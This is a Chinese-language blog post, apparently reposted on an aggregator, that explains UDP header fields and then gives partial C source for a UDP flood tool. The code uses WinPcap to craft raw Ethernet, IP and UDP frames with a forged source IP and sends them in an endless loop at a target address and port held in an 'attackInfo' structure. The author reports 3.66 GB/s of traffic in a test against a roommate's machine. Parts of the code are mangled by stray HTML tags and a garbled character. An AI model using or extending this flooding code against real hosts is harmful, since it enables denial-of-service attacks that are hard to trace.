UDP flood 原理及源码 C实现

来源:互联网 发布:禹卫书法行书字体 mac 编辑:程序博客网 时间:2024/06/05 10:51

    UDP是一种不可靠的、无连接的数据报服务。源主机在传送数据前不需要和目标主机建立连接。数据被冠以源、目标端口号等UDP报头字段后直接发往目的主机。这时,每个数据段的可靠性依靠上层协议来保证。在传送数据较少、较小的情况下,UDP比TCP更加高效。


如图示,UDP报文结构


●源、目标端口号字段:占2字节。作用与TCP数据段中的端口号字段相同,用来标识源端和目标端的应用进程。
  
●长度字段:占2字节。标明UDP头部和UDP数据的总长度字节。
  
●校验和字段:占2字节。用来对UDP头部和UDP数据进行校验。

     和TCP不同的是,对UDP来说,此字段是可选项,而TCP数据段中的校验和字段是必须有的


下面是代码,只贴出了一部分,这个小程序下载地址为

发送速度能达到3.66GB/s, 接收方,测试时是舍友的电脑,和我只隔了一个网关,中间只有一跳,接收速度是1.8GB/s

<span style="white-space:pre"></span>_ethHeader ethHeader;_ipHeader ipHeader;_udpHeader udpHeader;/////    数据int datasize;char temp[]="-------Hello UDP World! By:hwhaocool----";// ICMP数据datasize=sizeof(temp);//////物理帧memcpy(ethHeader.dMac,attackInfo.dstMac,6);IP_ADAPTER_INFO adapter[5];DWORD buflen=sizeof(adapter);DWORD status=GetAdaptersInfo(adapter,&buflen);if(status==ERROR_SUCCESS){int i=0;for(;i<attackInfo.devNum;i++)<span style="white-space:pre">
//attackInfo.devNum是一个传进来的变量,代表网卡设备的序号,0,1,2;memcpy(ethHeader.sMac,adapter[i].Address,6);//这里不伪造是为了不破坏网关的ARP表}ethHeader.type=0x0008;///////// IP帧头ipHeader.VerAndH_length=0x45;ipHeader.tos=0;//总长度datasize=sizeof(ethHeader)+sizeof(ipHeader)+sizeof(udpHeader)+sizeof(temp);ipHeader.totalLength=htons(85);ipHeader.id=htons(2345);ipHeader.flagANDfrag=0;<span style="white-space:pre"></span>//不分片ipHeader.ttl=0x80;ipHeader.type=17;//UDP 17 ,tcp 6ipHeader.cksum=0;ipHeader.sIP=inet_addr(fakeIP);//源IP,是一个伪造好的IP,可以随意填memcpy(&ipHeader.dIP,attackInfo.dstIp,4);//目标IPipHeader.cksum=checksum((USHORT*)(&ipHeader),sizeof(ipHeader));//////  UDP帧头udpHeader.sPort=htons(5000);udpHeader.dPort=htons(attackInfo.port);udpHeader.length=htons(sizeof(udpHeader)+sizeof(temp));udpHeader.cksum=0;//////  开始合并数据u_char bufdata[200];memcpy(bufdata,ðHeader,sizeof(ethHeader));datasize=sizeof(ethHeader);memcpy(bufdata+datasize,&ipHeader,sizeof(ipHeader));datasize+=sizeof(ipHeader);memcpy(bufdata+datasize,&udpHeader,sizeof(udpHeader));datasize+=sizeof(udpHeader);memcpy(bufdata+datasize,temp,sizeof(temp));datasize+=sizeof(temp);/////   开始发送数据包int i=0;for(;i<attackInfo.devNum;i++)//选择第几张网卡alldevs=alldevs->next;name=alldevs->name;//以太网pcap_t * fp;fp=pcap_open(name,100,PCAP_OPENFLAG_PROMISCUOUS,100,NULL,errbuf);while(key)pcap_sendpacket(fp,bufdata,datasize);pcap_close(fp);return 0;

注:这不是完整的程序,只是贴出来了一步一步构造UDP

报文和发送报文的代码,我是把这个写成独立的函数了,

所以好多全局变量其实在别的地方已经声明并且初始化了,读者若对某处有问题,可以留言,知无不答


这里是各个帧的结构体,

typedef struct  _ethHeader{BYTE dMac[6];BYTE sMac[6];USHORT type;};typedef struct _ipHeader//20 字节的IP头部{BYTE VerAndH_length;//版本号和头部长度BYTE tos;//优先级USHORT totalLength;USHORT id;USHORT flagANDfrag;//标识和分片BYTE ttl;BYTE type;USHORT cksum;ULONG sIP;ULONG dIP;};typedef struct _udpHeader{USHORT sPort;USHORT dPort;USHORT length;USHORT cksum;//可以随意填,不用必须正确};


0 0
原创粉丝点击